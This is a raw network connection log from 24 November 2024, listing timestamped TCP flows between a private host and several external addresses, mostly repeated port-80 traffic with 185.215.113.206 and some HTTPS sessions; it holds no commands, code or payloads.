Nov 24, 2024 19:11:50.617274046 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.617321014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.618443012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.618501902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.618501902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.618545055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.619738102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.619790077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.619836092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.619880915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.620887995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.620946884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.621014118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.621309042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.622133017 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.622181892 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.622208118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.622253895 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.623411894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.623457909 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.623465061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.623503923 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.624598026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.624712944 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.624733925 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.624747038 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.626049995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.626104116 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.647341967 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:50.647398949 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:50.657502890 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:50.668873072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.668965101 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.668997049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.669029951 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.669265985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.669308901 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.669488907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.669547081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.669553995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.669625044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.670649052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.670696974 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.670732021 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.670793056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.671870947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.671925068 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.671948910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.672002077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.672868013 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:50.673157930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.673204899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.673230886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.673273087 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.674350023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.674374104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.674420118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.675553083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.675606012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.675676107 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.675719976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.676768064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.676824093 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.676882029 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.676968098 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.678091049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.678149939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.678175926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.678231001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.679260969 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.679310083 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.679342985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.679446936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.680480957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.680623055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.736601114 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.736664057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.736713886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.736757994 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.737205029 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.737246990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.737323999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.737457991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.738379955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.738430023 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.738528013 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.738570929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.739598036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.739644051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.739744902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.739892006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.740916014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.741033077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.741055965 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.741066933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.741990089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.742038012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.742122889 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.743071079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.743324995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.743386030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.743416071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.743455887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.743576050 CET	443	49796	23.219.82.88	192.168.2.8
Nov 24, 2024 19:11:50.743798018 CET	49796	443	192.168.2.8	23.219.82.88
Nov 24, 2024 19:11:50.743824005 CET	443	49796	23.219.82.88	192.168.2.8
Nov 24, 2024 19:11:50.744414091 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.744463921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.744534016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.744616032 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.744870901 CET	443	49796	23.219.82.88	192.168.2.8
Nov 24, 2024 19:11:50.744935989 CET	49796	443	192.168.2.8	23.219.82.88
Nov 24, 2024 19:11:50.745642900 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.745691061 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.745836973 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.745879889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.745996952 CET	49796	443	192.168.2.8	23.219.82.88
Nov 24, 2024 19:11:50.746062994 CET	443	49796	23.219.82.88	192.168.2.8
Nov 24, 2024 19:11:50.746851921 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.746901035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.746926069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.746970892 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.748050928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.748099089 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.748111963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.748155117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.749281883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.749334097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.749351025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.749391079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.750436068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.750489950 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.750547886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.750590086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.751627922 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.751684904 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.751744032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.751825094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.752810955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.752907038 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.753386021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.754036903 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.754082918 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.754196882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.754439116 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.755217075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.755266905 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.755327940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.755377054 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.756460905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.756520987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.756632090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.756683111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.757648945 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.757697105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.757726908 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.757782936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.758914948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.758955002 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.758965969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.758995056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.760080099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.760111094 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.760137081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.760150909 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.761226892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.761276960 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.761328936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.761392117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.762434959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.762485027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.762583971 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.762634039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.763672113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.763724089 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.763745070 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.763804913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.764834881 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.764895916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.764993906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.765049934 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.766019106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.766169071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.766318083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.766372919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.767230034 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.767278910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.767501116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.767543077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.768404961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.768477917 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.768506050 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.768544912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.769602060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.769653082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.769766092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.769813061 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.770807028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.770889997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.770915031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.771018028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.772023916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.772075891 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.772154093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.772195101 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.773227930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.773257971 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:50.773277044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.773305893 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:50.773375034 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:50.773423910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.773478031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.773564100 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:50.773577929 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:50.774477005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.774537086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.774537086 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.774576902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.775571108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.775619984 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.781837940 CET	443	49800	23.57.90.157	192.168.2.8
Nov 24, 2024 19:11:50.782041073 CET	49800	443	192.168.2.8	23.57.90.157
Nov 24, 2024 19:11:50.782053947 CET	443	49800	23.57.90.157	192.168.2.8
Nov 24, 2024 19:11:50.783054113 CET	443	49800	23.57.90.157	192.168.2.8
Nov 24, 2024 19:11:50.783117056 CET	49800	443	192.168.2.8	23.57.90.157
Nov 24, 2024 19:11:50.785891056 CET	49800	443	192.168.2.8	23.57.90.157
Nov 24, 2024 19:11:50.785960913 CET	443	49800	23.57.90.157	192.168.2.8
Nov 24, 2024 19:11:50.806220055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.806233883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.806293964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.806735039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.806747913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.806787014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.807616949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.807682037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.807722092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.807770014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.808238983 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:50.808459044 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:50.808475971 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:50.808526993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.808576107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.808726072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.808765888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.809446096 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:50.809515953 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:50.809551954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.809611082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.809648037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.810218096 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:50.810280085 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:50.810460091 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.810512066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.810524940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.810564041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.811460018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.811531067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.811603069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.811646938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.812391043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.812486887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.812500954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.812530994 CET	49796	443	192.168.2.8	23.219.82.88
Nov 24, 2024 19:11:50.812544107 CET	443	49796	23.219.82.88	192.168.2.8
Nov 24, 2024 19:11:50.812555075 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.813329935 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.813390970 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.813527107 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.813661098 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.814328909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.814390898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.814487934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.814549923 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.827629089 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:50.829210997 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:50.829221964 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:50.830259085 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:50.830317974 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:50.831466913 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:50.831541061 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:50.850487947 CET	49800	443	192.168.2.8	23.57.90.157
Nov 24, 2024 19:11:50.850502014 CET	443	49800	23.57.90.157	192.168.2.8
Nov 24, 2024 19:11:50.850533009 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:50.850553036 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:50.860774040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.860830069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.860842943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.861016989 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.861535072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.861582041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.861674070 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.861712933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.862302065 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.862346888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.862459898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.862517118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.863207102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.863306999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.863317966 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.863349915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.864048004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.864209890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.864252090 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.864969969 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.865026951 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.865087986 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.865175962 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.865945101 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.865993977 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.866029978 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.866209030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.866854906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.866900921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.866975069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.867012978 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.867778063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.867818117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.867927074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.867965937 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.868756056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.868803978 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.868879080 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.868926048 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.897877932 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:50.898684978 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:50.898708105 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:50.899559975 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:50.899569988 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:50.899838924 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:50.899858952 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:50.921159983 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:50.921610117 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:50.921628952 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:50.922593117 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:50.922648907 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:50.924957037 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:50.925014973 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:50.925379992 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:50.925389051 CET	443	49795	23.44.133.31	192.168.2.8
Nov 24, 2024 19:11:50.929297924 CET	80	49750	185.215.113.206	192.168.2.8
